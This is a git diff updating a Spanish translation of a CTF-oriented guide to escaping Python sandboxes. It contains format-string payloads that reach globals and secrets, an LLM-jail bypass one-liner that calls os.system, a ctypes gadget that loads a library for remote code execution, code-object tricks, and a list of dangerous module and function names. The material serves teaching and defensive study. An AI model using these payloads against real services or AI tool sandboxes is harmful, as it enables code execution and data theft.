for b in bad_libraries_names:
|
||||
@ -510,7 +511,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
|
||||
pdb:
|
||||
"""
|
||||
```
|
||||
Además, si crees que **otras bibliotecas** pueden ser capaces de **invocar funciones para ejecutar comandos**, también podemos **filtrar por nombres de funciones** dentro de las bibliotecas posibles:
|
||||
Además, si crees que **otras bibliotecas** pueden ser capaces de **invocar funciones para ejecutar comandos**, también podemos **filtrar por nombres de funciones** dentro de las posibles bibliotecas:
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
|
||||
@ -543,10 +544,10 @@ execute:
|
||||
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
|
||||
"""
|
||||
```
|
||||
## Búsqueda recursiva de builtins, globals...
|
||||
## Búsqueda recursiva de Builtins, Globals...
|
||||
|
||||
> [!WARNING]
|
||||
> Esto es simplemente **impresionante**. Si estás **buscando un objeto como globals, builtins, open o cualquier otro** simplemente usa este script para **encontrar recursivamente lugares donde puedas encontrar ese objeto.**
|
||||
> Esto es simplemente **increíble**. Si estás **buscando un objeto como globals, builtins, open o cualquier otro** usa este script para **encontrar recursivamente lugares donde puedas localizar ese objeto.**
|
||||
```python
|
||||
import os, sys # Import these to find more gadgets
|
||||
|
||||
@ -662,7 +663,7 @@ print(SEARCH_FOR)
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
You can check the output of this script on this page:
|
||||
Puedes comprobar la salida de este script en esta página:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -671,7 +672,7 @@ https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-
|
||||
|
||||
## Python Format String
|
||||
|
||||
Si envías una **string** a python que va a ser **formatted**, puedes usar `{}` para acceder a **información interna de python.** Puedes usar los ejemplos anteriores para acceder a globals o builtins, por ejemplo.
|
||||
Si **envías** una **string** a python que va a ser **formateada**, puedes usar `{}` para acceder a la **información interna de python**. Puedes usar los ejemplos anteriores para acceder a globals o builtins, por ejemplo.
|
||||
```python
|
||||
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
||||
CONFIG = {
|
||||
@ -691,16 +692,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
Observa cómo puedes **acceder a atributos** de forma normal con un **punto** como `people_obj.__init__` y al **elemento de dict** con **corchetes** sin comillas `__globals__[CONFIG]`
|
||||
Observa cómo puedes **acceder a atributos** de forma normal con un **punto** como `people_obj.__init__` y a **elementos de dict** con **paréntesis** sin comillas `__globals__[CONFIG]`
|
||||
|
||||
También observa que puedes usar `.__dict__` para enumerar los elementos de un objeto `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
También observa que puedes usar `.__dict__` para enumerar elementos de un objeto `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
|
||||
Otras características interesantes de las cadenas de formato son la posibilidad de **ejecutar** las **funciones** `str`, `repr` y `ascii` en el objeto indicado añadiendo **`!s`**, **`!r`**, **`!a`** respectivamente:
|
||||
Otra característica interesante de las cadenas de formato es la posibilidad de **ejecutar** las **funciones** **`str`**, **`repr`** y **`ascii`** en el objeto indicado añadiendo **`!s`**, **`!r`**, **`!a`** respectivamente:
|
||||
```python
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
Además, es posible **code new formatters** en clases:
|
||||
Además, es posible **codificar nuevos formateadores** en clases:
|
||||
```python
|
||||
class HAL9000(object):
|
||||
def __format__(self, format):
|
||||
@ -711,10 +712,10 @@ return 'HAL 9000'
|
||||
'{:open-the-pod-bay-doors}'.format(HAL9000())
|
||||
#I'm afraid I can't do that.
|
||||
```
|
||||
**Más ejemplos** sobre **format** **string** pueden encontrarse en [**https://pyformat.info/**](https://pyformat.info)
|
||||
**Más ejemplos** sobre **format** **string** se pueden encontrar en [**https://pyformat.info/**](https://pyformat.info)
|
||||
|
||||
> [!CAUTION]
|
||||
> Consulta también la siguiente página para gadgets que permitirán **leer información sensible de los objetos internos de Python**:
|
||||
> Consulte también la siguiente página para gadgets que r**ead sensitive information from Python internal objects**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -739,20 +740,20 @@ str(x) # Out: clueless
|
||||
```
|
||||
### LLM Jails bypass
|
||||
|
||||
From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
|
||||
Desde [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
|
||||
|
||||
### From format to RCE loading libraries
|
||||
### De format a RCE cargando librerías
|
||||
|
||||
According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) es posible cargar librerías arbitrarias desde el disco abusando de la format string vulnerability en python.
|
||||
According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) es posible cargar librerías arbitrarias desde disco abusando de la vulnerabilidad de format string en python.
|
||||
|
||||
Como recordatorio, cada vez que se realiza una acción en python se ejecuta alguna función. Por ejemplo `2*3` ejecutará **`(2).mul(3)`** o **`{'a':'b'}['a']`** será **`{'a':'b'}.__getitem__('a')`**.
|
||||
|
||||
Puedes ver más ejemplos como este en la sección [**Python execution without calls**](#python-execution-without-calls).
|
||||
Hay más ejemplos como este en la sección [**Python execution without calls**](#python-execution-without-calls).
|
||||
|
||||
Una python format string vuln no permite ejecutar funciones (no permite usar paréntesis), por lo que no es posible obtener RCE como `'{0.system("/bin/sh")}'.format(os)`.\
|
||||
Sin embargo, es posible usar `[]`. Por lo tanto, si una librería python común tiene un método **`__getitem__`** o **`__getattr__`** que ejecute código arbitrario, es posible abusar de ellos para obtener RCE.
|
||||
Una vulnerabilidad de format string en python no permite ejecutar funciones (no permite usar paréntesis), por lo que no es posible obtener RCE como `'{0.system("/bin/sh")}'.format(os)`.\
|
||||
Sin embargo, es posible usar `[]`. Por lo tanto, si una librería común de python tiene un método **`__getitem__`** o **`__getattr__`** que ejecuta código arbitrario, es posible abusar de ellos para obtener RCE.
|
||||
|
||||
Buscando un gadget así en python, el writeup propone esta [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Donde encontró este [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
|
||||
Buscando un gadget así en python, el writeup propone esta [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Allí encontró este [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
|
||||
```python
|
||||
class LibraryLoader(object):
|
||||
def __init__(self, dlltype):
|
||||
@ -774,18 +775,18 @@ return getattr(self, name)
|
||||
cdll = LibraryLoader(CDLL)
|
||||
pydll = LibraryLoader(PyDLL)
|
||||
```
|
||||
Este gadget permite **cargar una biblioteca desde el disco**. Por lo tanto, es necesario de algún modo **escribir o subir la biblioteca a cargar**, compilada correctamente para el servidor atacado.
|
||||
Este gadget permite **load a library from disk**. Por lo tanto, es necesario, de alguna forma, **write or upload the library to load** correctamente compilada al servidor atacado.
|
||||
```python
|
||||
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
|
||||
```
|
||||
El reto en realidad abusa de otra vulnerabilidad en el servidor que permite crear archivos arbitrarios en el disco del servidor.
|
||||
El challenge en realidad abusa de otra vulnerabilidad en el servidor que permite crear archivos arbitrarios en el disco del servidor.
|
||||
|
||||
## Diseccionando objetos de Python
|
||||
## Analizando objetos de Python
|
||||
|
||||
> [!TIP]
|
||||
> Si quieres **aprender** sobre **python bytecode** en profundidad lee este **increíble** post sobre el tema: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
> Si quieres **aprender** en profundidad sobre **python bytecode**, lee este artículo **imprescindible** sobre el tema: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
|
||||
En algunos CTFs se te puede proporcionar el nombre de una **función personalizada donde reside la flag** y necesitas ver los **internos** de la **función** para extraerla.
|
||||
En algunos CTFs podrías recibir el nombre de una **función personalizada donde reside la flag** y necesitarías ver los **internos** de la **función** para extraerla.
|
||||
|
||||
Esta es la función a inspeccionar:
|
||||
```python
|
||||
@ -807,7 +808,7 @@ dir(get_flag) #Get info tof the function
|
||||
```
|
||||
#### globals
|
||||
|
||||
`__globals__` y `func_globals`(Igual) Obtiene el entorno global. En el ejemplo puedes ver algunos módulos importados, algunas variables globales y su contenido declarado:
|
||||
`__globals__` y `func_globals` (mismo) Obtiene el entorno global. En el ejemplo puedes ver algunos módulos importados, algunas variables globales y su contenido declarado:
|
||||
```python
|
||||
get_flag.func_globals
|
||||
get_flag.__globals__
|
||||
@ -908,7 +909,7 @@ dis.dis(get_flag)
|
||||
44 LOAD_CONST 0 (None)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
Ten en cuenta que **si no puedes importar `dis` en el python sandbox** puedes obtener el **bytecode** de la función (`get_flag.func_code.co_code`) y **disassemble** la función localmente. No verás el contenido de las variables que se cargan (`LOAD_CONST`) pero puedes adivinarlas a partir de (`get_flag.func_code.co_consts`) porque `LOAD_CONST` también indica el offset de la variable que se está cargando.
|
||||
Ten en cuenta que **si no puedes importar `dis` en el python sandbox** puedes obtener el **bytecode** de la función (`get_flag.func_code.co_code`) y **desensamblarlo** localmente. No verás el contenido de las variables que se cargan (`LOAD_CONST`) pero puedes deducirlo a partir de (`get_flag.func_code.co_consts`) porque `LOAD_CONST` también indica el offset de la variable que se está cargando.
|
||||
```python
|
||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||
0 LOAD_CONST 1 (1)
|
||||
@ -932,8 +933,8 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
||||
```
|
||||
## Compilando Python
|
||||
|
||||
Ahora, imaginemos que de alguna manera puedes **dump the information about a function that you cannot execute** pero **need** to **execute** it.\
|
||||
Como en el siguiente ejemplo, puedes **can access the code object** de esa función, pero solo leyendo el disassemble **don't know how to calculate the flag** (_imagina una función `calc_flag` más compleja_)
|
||||
Ahora, imaginemos que de alguna manera puedes **dump the information about a function that you cannot execute** pero **necesitas** **ejecutarla**.\
|
||||
Como en el siguiente ejemplo, **puedes acceder al code object** de esa función, pero solo leyendo el disassemble **no sabes cómo calcular la flag** (_imagina una función `calc_flag` más compleja_)
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
@ -948,7 +949,7 @@ return "Nope"
|
||||
```
|
||||
### Creando el code object
|
||||
|
||||
En primer lugar, necesitamos saber **cómo crear y ejecutar un code object** para que podamos crear uno para ejecutar nuestra función leaked:
|
||||
Antes que nada, necesitamos saber **cómo crear y ejecutar un code object** para que podamos crear uno para ejecutar nuestra función leaked:
|
||||
```python
|
||||
code_type = type((lambda: None).__code__)
|
||||
# Check the following hint if you get an error in calling this
|
||||
@ -968,7 +969,7 @@ mydict['__builtins__'] = __builtins__
|
||||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
```
|
||||
> [!TIP]
|
||||
> Dependiendo de la versión de python, los **parámetros** de `code_type` pueden tener un **orden diferente**. La mejor manera de conocer el orden de los params en la versión de python que estás ejecutando es ejecutar:
|
||||
> Dependiendo de la versión de python, los **parámetros** de `code_type` pueden tener un **orden diferente**. La mejor manera de saber el orden de los parámetros en la versión de python que estás ejecutando es ejecutar:
|
||||
>
|
||||
> ```
|
||||
> import types
|
||||
@ -979,7 +980,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
### Recreando una leaked función
|
||||
|
||||
> [!WARNING]
|
||||
> En el siguiente ejemplo, vamos a tomar todos los datos necesarios para recrear la función desde el function code object directamente. En un **ejemplo real**, todos los **valores** para ejecutar la función **`code_type`** es lo que **tendrás que leak**.
|
||||
> En el siguiente ejemplo, vamos a tomar todos los datos necesarios para recrear la función directamente desde el code object de la función. En un **ejemplo real**, todos los **valores** para ejecutar la función **`code_type`** son lo que **necesitarás leak**.
|
||||
```python
|
||||
fc = get_flag.__code__
|
||||
# In a real situation the values like fc.co_argcount are the ones you need to leak
|
||||
@ -992,8 +993,8 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
```
|
||||
### Eludir defensas
|
||||
|
||||
En ejemplos anteriores al principio de este post, puedes ver **cómo ejecutar cualquier código python usando la función `compile`**. Esto es interesante porque puedes **ejecutar scripts completos** con bucles y todo en **una sola línea** (y podríamos hacer lo mismo usando **`exec`**).\
|
||||
De todas formas, a veces puede ser útil **crear** un **objeto compilado** en una máquina local y ejecutarlo en la **máquina CTF** (por ejemplo porque no tenemos la función `compiled` en la CTF).
|
||||
En ejemplos anteriores al comienzo de este post, puedes ver **cómo ejecutar cualquier código python usando la función `compile`**. Esto es interesante porque puedes **ejecutar scripts completos** con bucles y todo en una **one liner** (y podríamos hacer lo mismo usando **`exec`**).\
|
||||
De todas formas, a veces puede ser útil **crear** un **compiled object** en una máquina local y ejecutarlo en la **CTF machine** (por ejemplo porque no tenemos la función `compiled` en la CTF).
|
||||
|
||||
Por ejemplo, compilemos y ejecutemos manualmente una función que lee _./poc.py_:
|
||||
```python
|
||||
@ -1022,7 +1023,7 @@ mydict['__builtins__'] = __builtins__
|
||||
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
||||
function_type(codeobj, mydict, None, None, None)()
|
||||
```
|
||||
Si no puedes acceder a `eval` o `exec` podrías crear una **función adecuada**, pero llamarla directamente normalmente fallará con: _constructor no accesible en modo restringido_. Así que necesitas una **función que no esté en el entorno restringido para invocar esta función.**
|
||||
Si no puedes acceder a `eval` o `exec` podrías crear una **función adecuada**, pero llamarla directamente normalmente va a fallar con: _constructor not accessible in restricted mode_. Así que necesitas una **función que no esté en el entorno restringido para llamar a esta función.**
|
||||
```python
|
||||
#Compile a regular print
|
||||
ftype = type(lambda: None)
|
||||
@ -1030,9 +1031,9 @@ ctype = type((lambda: None).func_code)
|
||||
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
|
||||
f(42)
|
||||
```
|
||||
## Decompiling Compiled Python
|
||||
## Descompilar Python compilado
|
||||
|
||||
Usando herramientas como [**https://www.decompiler.com/**](https://www.decompiler.com) se puede **decompile** el código Python compilado dado.
|
||||
Usando herramientas como [**https://www.decompiler.com/**](https://www.decompiler.com) se puede **decompilar** código python compilado.
|
||||
|
||||
**Consulta este tutorial**:
|
||||
|
||||
@ -1041,11 +1042,11 @@ Usando herramientas como [**https://www.decompiler.com/**](https://www.decompile
|
||||
../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
|
||||
{{#endref}}
|
||||
|
||||
## Miscelánea de Python
|
||||
## Varios en Python
|
||||
|
||||
### Assert
|
||||
|
||||
Python ejecutado con optimizaciones usando el parámetro `-O` eliminará las instrucciones assert y cualquier código condicional según el valor de **debug**.\
|
||||
Python ejecutado con optimizaciones con el parámetro `-O` eliminará asset statements y cualquier código condicional al valor de **debug**.\
|
||||
Por lo tanto, comprobaciones como
|
||||
```python
|
||||
def check_permission(super_user):
|
||||
@ -1055,7 +1056,7 @@ print("\nYou are a super user\n")
|
||||
except AssertionError:
|
||||
print(f"\nNot a Super User!!!\n")
|
||||
```
|
||||
será bypassed
|
||||
será eludido
|
||||
|
||||
## Referencias
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user